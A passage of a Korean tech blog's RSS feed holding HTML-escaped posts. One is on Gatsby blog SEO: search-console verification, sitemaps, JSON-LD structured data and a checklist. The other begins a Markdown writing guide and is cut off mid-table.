    &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;google-site-verification&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;여기에_구글이_제공한_인증코드&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Helmet&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;빌드 후 배포하고, Search Console에서 &lt;strong&gt;확인&lt;/strong&gt; 버튼을 누릅니다&lt;/li&gt;
&lt;li&gt;소유권 확인이 완료되면 &lt;strong&gt;Sitemaps&lt;/strong&gt; 메뉴에서 사이트맵 URL을 제출합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr/sitemap-index.xml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;네이버 서치어드바이저 등록&lt;/h3&gt;
&lt;p&gt;네이버 검색 노출도 원한다면 &lt;a href=&quot;https://searchadvisor.naver.com/&quot;&gt;네이버 서치어드바이저&lt;/a&gt;에도 동일하게 등록합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;naver-site-verification&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;네이버_인증코드&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;구조화 데이터 (JSON-LD) 추가하기&lt;/h2&gt;
&lt;p&gt;구조화 데이터(Structured Data)는 검색 엔진에게 페이지의 의미를 더 정확하게 알려주는 방법입니다. 구글 검색 결과에서 별점, 작성일, 작성자 같은 리치 스니펫(Rich Snippet)이 표시되는 게 바로 구조화 데이터 덕분입니다.&lt;/p&gt;
&lt;h3&gt;블로그 포스팅용 JSON-LD&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/SEO.js 에 추가&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; structuredData &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token string-property property&quot;&gt;&quot;@context&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://schema.org&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token string-property property&quot;&gt;&quot;@type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;BlogPosting&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;headline&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;image&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;datePublished&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;dateModified&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; update &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string-property property&quot;&gt;&quot;@type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Person&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;자바파커&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://blog.javapark.kr&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;publisher&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string-property property&quot;&gt;&quot;@type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Organization&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;AI JAVAPARK&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;logo&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token string-property property&quot;&gt;&quot;@type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ImageObject&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://blog.javapark.kr/logo.png&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;mainEntityOfPage&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string-property property&quot;&gt;&quot;@type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;WebPage&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string-property property&quot;&gt;&quot;@id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Helmet을 통해 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;script&gt;&lt;/code&gt; 태그로 삽입합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Helmet&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;application/ld+json&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;{JSON.stringify(structuredData)}&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Helmet&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;구조화 데이터 테스트&lt;/h3&gt;
&lt;p&gt;구글의 &lt;a href=&quot;https://search.google.com/test/rich-results&quot;&gt;리치 결과 테스트&lt;/a&gt; 도구에서 URL을 입력하면 구조화 데이터가 제대로 적용됐는지 확인할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GitHub 블로그 SEO 검색 노출 체크리스트&lt;/h2&gt;
&lt;p&gt;모든 설정을 마쳤다면, 아래 체크리스트로 빠진 항목이 없는지 확인해보세요.&lt;/p&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;gatsby-config.js&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;siteMetadata&lt;/code&gt;에 title, description, siteUrl, image 설정&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; SEO 컴포넌트에 title, description 메타태그 포함&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Open Graph 태그 (og:title, og:description, og:image, og:url) 설정&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Twitter Card 태그 설정&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;gatsby-plugin-sitemap&lt;/code&gt;으로 sitemap.xml 생성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;gatsby-plugin-robots-txt&lt;/code&gt;로 robots.txt 생성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Google Search Console에 사이트 등록 및 사이트맵 제출&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 네이버 서치어드바이저 등록 (선택)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 구조화 데이터 (JSON-LD) 추가&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; OG 이미지 (1200x630px) 준비&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 각 포스팅의 frontmatter에 title, description 작성&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q. SEO 설정 후 검색에 바로 노출되나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 구글이 크롤링하고 인덱싱하는 데에는 며칠에서 몇 주까지 걸릴 수 있습니다. Search Console에서 직접 URL 색인 요청을 하면 속도를 앞당길 수 있습니다. Search Console의 &lt;strong&gt;URL 검사&lt;/strong&gt; 메뉴에서 URL을 입력한 뒤 &lt;strong&gt;색인 생성 요청&lt;/strong&gt; 버튼을 누르면 됩니다.&lt;/p&gt;
&lt;h3&gt;Q. gatsby-starter-hoodie 테마에 이미 SEO가 적용되어 있나요?&lt;/h3&gt;
&lt;p&gt;네, 기본적인 메타태그와 OG 태그가 포함되어 있습니다. 다만 sitemap, robots.txt, 구조화 데이터, Search Console 등록은 직접 해야 합니다. 테마에 포함된 SEO 컴포넌트를 열어서 현재 어디까지 설정되어 있는지 확인해보시는 걸 추천합니다.&lt;/p&gt;
&lt;h3&gt;Q. OG 이미지를 포스팅마다 다르게 설정할 수 있나요?&lt;/h3&gt;
&lt;p&gt;네, frontmatter에 &lt;code class=&quot;language-text&quot;&gt;image&lt;/code&gt; 필드를 추가하고, SEO 컴포넌트에서 해당 값을 읽어오도록 구성하면 됩니다. 포스팅별로 고유한 OG 이미지를 설정하면 SNS 공유 시 클릭률이 높아집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 블로그 SEO 어디까지 설정하고 계신가요? 댓글로 알려주세요.&lt;/p&gt;
&lt;p&gt;다음 포스팅에서는 &lt;strong&gt;GitHub Actions로 블로그를 자동 배포하는 방법&lt;/strong&gt;을 다룹니다. push만 하면 빌드부터 배포까지 알아서 되는 환경을 만들어보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[마크다운 글쓰기와 카테고리 관리 — 체계적인 블로그 운영법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 지금까지 Gatsby 블로그를 설치하고, 스킨을 커스터마이징하는 방법을 다뤘습니다. 이번 포스팅에서는 실제 글을 작성하고 콘텐츠를 체계적으로 관리하는 방법을 알아보겠습니다. 마크다운 문법부터 frontmatter…]]></description><link>https://blog.javapark.kr/03-markdown-and-categories/</link><guid isPermaLink="false">https://blog.javapark.kr/03-markdown-and-categories/</guid><pubDate>Sat, 04 Apr 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;지금까지 Gatsby 블로그를 설치하고, 스킨을 커스터마이징하는 방법을 다뤘습니다. 이번 포스팅에서는 실제 글을 작성하고 콘텐츠를 체계적으로 관리하는 방법을 알아보겠습니다. 마크다운 문법부터 frontmatter, 태그 전략, 시리즈 기능, 이미지 관리까지 블로그 운영에 필요한 모든 것을 다룹니다.&lt;/p&gt;
&lt;h2&gt;마크다운 기본 문법&lt;/h2&gt;
&lt;p&gt;마크다운은 텍스트 기반의 경량 마크업 언어입니다. 기술 블로그에서 가장 많이 사용되는 문법들을 정리합니다.&lt;/p&gt;
&lt;h3&gt;제목 (Heading)&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;#&lt;/code&gt; 기호의 개수로 제목 수준을 구분합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; h1 — 포스트 제목 (frontmatter title과 중복되므로 본문에서는 사용하지 않습니다)&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; h2 — 주요 섹션&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; h3 — 하위 섹션&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;####&lt;/span&gt; h4 — 세부 항목&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁&lt;/strong&gt;: 본문에서는 &lt;code class=&quot;language-text&quot;&gt;##&lt;/code&gt;(h2)부터 시작하는 것이 SEO와 문서 구조에 좋습니다. h1은 포스트 제목이 자동으로 사용합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;텍스트 서식&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;굵게&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt; 또는 &lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;굵게&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token italic&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;기울임&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;_&lt;/span&gt;&lt;/span&gt; 또는 &lt;span class=&quot;token italic&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;기울임&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token strike&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;~~&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;취소선&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;~~&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token code-snippet code keyword&quot;&gt;`인라인 코드`&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;결과:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;굵게&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;기울임&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;취소선&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;인라인 코드&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;목록&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;순서 없는 목록:

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 항목 1
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 항목 2
  &lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 중첩 항목 2-1
  &lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 중첩 항목 2-2

순서 있는 목록:

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; 첫 번째
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; 두 번째
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; 세 번째&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;코드 블록&lt;/h3&gt;
&lt;p&gt;기술 블로그의 핵심 요소입니다. 백틱 세 개(&lt;code class=&quot;language-text&quot;&gt;```&lt;/code&gt;)로 감싸고 언어를 지정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token code&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;span class=&quot;token code-language&quot;&gt;javascript&lt;/span&gt;
&lt;span class=&quot;token code-block language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; greeting &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;안녕하세요!&quot;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;greeting&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token code&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;span class=&quot;token code-language&quot;&gt;python&lt;/span&gt;
&lt;span class=&quot;token code-block language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hello&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;안녕하세요!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token code&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;span class=&quot;token code-language&quot;&gt;bash&lt;/span&gt;
&lt;span class=&quot;token code-block language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; gatsby-cli &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;```&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;지원되는 주요 언어 키워드: &lt;code class=&quot;language-text&quot;&gt;javascript&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;typescript&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;python&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;java&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;bash&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;css&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;html&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;json&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;yaml&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;sql&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;go&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;rust&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;kotlin&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;swift&lt;/code&gt; 등&lt;/p&gt;
&lt;h3&gt;표 (Table)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token table&quot;&gt;&lt;span class=&quot;token table-header-row&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 기능        &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 설명        &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 필수 여부 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token table-line&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-----------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-----------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;---------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
